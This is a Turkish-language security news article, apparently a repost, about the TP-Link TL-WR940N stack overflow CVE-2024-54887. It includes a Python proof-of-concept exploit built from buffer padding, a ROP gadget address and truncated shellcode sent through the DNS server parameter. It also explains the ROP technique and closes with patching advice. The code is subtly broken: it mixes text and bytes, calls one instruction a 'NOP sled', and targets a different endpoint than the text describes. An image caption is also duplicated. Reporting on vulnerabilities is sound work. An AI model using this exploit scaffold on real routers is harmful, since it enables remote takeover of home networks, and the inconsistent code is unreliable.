TP-Link’te Kod Yürütme Güvenlik Açığı (CVE-2024-54887) için PoC Exploit yayımlandı


TP-Link TL-WR940N yönlendiricisinde CVE-2024-54887 olarak tanımlanan ciddi bir kod yürütme güvenlik açığı, kavram kanıtlama (PoC) istismarının yayınlanmasının ardından yoğun incelemelerin odağı haline geldi.

Bu güvenlik açığı, saldırganların kimlik doğrulaması olmadan uzaktan cihazda rastgele kod yürütmesine olanak tanıyarak ağ güvenliği açısından önemli riskler oluşturur.

Aşağıdaki makalede güvenlik açığına, güvenlik açığından yararlanma geliştirme sürecine ve bunun kullanıcılar ve üreticiler için etkilerine genel bir bakış sunulmaktadır.

CVE-2024-54887’yi Anlamak

CVE-2024-54887 özellikle donanım sürüm 3 ve 4’ü çalıştıran TP-Link TL-WR940N yönlendiricilerini hedefliyor. Güvenlik açığı, özellikle IPv6 için DNS sunucusu ayarlarında HTTP parametrelerinin hatalı doğrulanmasından kaynaklanıyor.

Investigate Real-World Malicious Links & Phishing Attacks With Threat Intelligence Lookup - Try for Free

Güvenlik açığı bulunan dnsserver1 ve dnsserver2 parametreleri, yığın arabellek taşması yoluyla kullanılabilir; bu, kritik bellek bölgelerinin üzerine yazılarak cihazın yürütme akışı üzerinde kontrol sağlanmasına neden olabilir.

DDNS'yi yapılandırmak NoipDddnsRpm.htm uç noktasına 4 parametreli bir istek gönderirDDNS'yi yapılandırmak NoipDddnsRpm.htm uç noktasına 4 parametreli bir istek gönderir
DDNS’yi yapılandırmak NoipDddnsRpm.htm uç noktasına 4 parametreli bir istek gönderir

Bu güvenlik açığının keşfi, tersine mühendislik ve istismar geliştirme konularına duyulan ilgiden kaynaklandı. Araştırmacılar, Firmadyne gibi araçları kullanarak yönlendiricinin donanım yazılımını taklit ederek dinamik ve statik analize olanak sağladılar.

InfoSec in Medium’a göre Statik analiz, yönlendirici donanım yazılımının NX (Yürütülebilir Olmayan) ve PIE (Konumdan Bağımsız Yürütülebilir) gibi önemli korumalardan yoksun olduğunu ortaya çıkardı ve bu da kötüye kullanım için olası yolları gösteriyor.

Araştırmacı, yönlendiricinin HTTP isteklerindeki çoğu parametrenin temel dize uzunluğu kontrollerini içerdiğini, ancak DNS sunucusu parametrelerinin içermediğini belirledi. Saldırgan, büyük boyutlu istekler göndererek yürütme akışını manipüle edebilir ve bu da yığın taşmasına neden olabilir.

Geliştirmeden Yararlanma

Bu istismar, DNS sunucusu ayarları için kullanılan ara belleğin taşmasını amaçlayan hazırlanmış bir HTTP isteği oluşturularak geliştirildi. İşte Python betiğinin istismarı kapsayan temel bileşeni:

#!/usr/bin/python3

import urllib.parse

import requests

import struct

def exploit(session_url, auth):

    print("[+] Sending exploit to: " + session_url + "Wan6to4TunnelCfgRpm.htm")

    libc_base = 0x2aae2000  # Base address for libc

    shellcode = b"\x24\x0f\xff\xfa\x01\xe0\x78..."  # Truncated for brevity

    # Craft payload

    payload = 'A' * 596  # Buffer overflow

    # NOP sled for shellcode

    payload += b'\x27\x70\xc0\x01'  # NOP instruction

    # Adding gadgets and shellcode

    payload += struct.pack(">I", libc_base + 0x3680c)  # Gadget for execution control

    payload += b"B" * 40  # Padding to shellcode

    payload += shellcode  # Actual shellcode

    # Complete URL with exploit

    exploit_url = session_url + "Wan6to4TunnelCfgRpm.htm?dnsserver1=" + payload

    requests.get(exploit_url, headers={"Cookie": auth})

# Additional functions for authentication, etc. go here...

Bu kodda:

  • Exploit işlevi, arabellek taşmasını istismar etmek üzere tasarlanmış dikkatle yapılandırılmış bir veri yükünü içeren bir HTTP isteği oluşturur.
  • Yük, arabelleği doldurmak için bir dizi ‘A’ karakteriyle başlar, bir NOP kızağı içerir ve son olarak yönlendiriciye uzaktan erişim sağlayacak kabuk kodunu içerir.

Geri Dönüş Odaklı Programlamayı (ROP) Kullanmak

Cihazda ASLR (Adres Alanı Düzeni Rastgeleleştirme) eksikliği göz önüne alındığında, istismar, kullanım sonrası kontrol akışını sürdürmek için ROP’tan yararlanır.

Saldırgan, çeşitli görevleri yerine getiren ve sonuçta kabuk kodunun yürütülmesine yol açan küçük talimat dizilerinden oluşan bir araçlar zinciri oluşturur.

Kritik araçlar, bir uyku fonksiyonundan sonra kabuk kodunun çağrılmasını kolaylaştırmak ve istismarın başarılı olması için zaman tanımak üzere düzenlenmiştir.

CVE-2024-54887’nin etkileri ciddidir. Saldırganlar, başarılı bir şekilde istismar edilirse, etkilenen cihazlar üzerinde tam kontrol sahibi olabilir ve bu da potansiyel veri ihlallerine ve bağlı ağlara yetkisiz erişime yol açabilir. Kullanıcılara şunları yapmaları tavsiye edilir:

  • Donanım Yazılımını Güncelle: TP-Link’ten en son cihaz yazılımı güncellemelerini kontrol edin ve bunları hemen uygulayın.
  • Güvenliği Güçlendirin: Güçlü şifreler kullanın ve uzaktan yönetim gibi cihazın açığa çıkmasına neden olabilecek özellikleri devre dışı bırakın.
  • Ağ Etkinliğini İzleyin: Olağandışı etkinlik açısından ağ trafiğini düzenli olarak inceleyin.

CVE-2024-54887’ye yönelik PoC istismarının yayımlanması, yaygın olarak kullanılan tüketici cihazlarında bulunabilecek güvenlik açıklarına dair düşündürücü bir hatırlatmadır.

Tehdit ortamı geliştikçe kullanıcıların ve üreticilerin tetikte kalması gerekiyor. Güvenlik, potansiyel istismarlara karşı koruma sağlamak ve kişisel ve kurumsal ağların güvenliğini sağlamak için işbirlikçi bir çaba olmalıdır.

Jenkins & Jira’yı Kullanarak Uygulama Güvenliğini CI/CD İş Akışlarınıza Entegre Etme -> Ücretsiz Web Semineri



Source link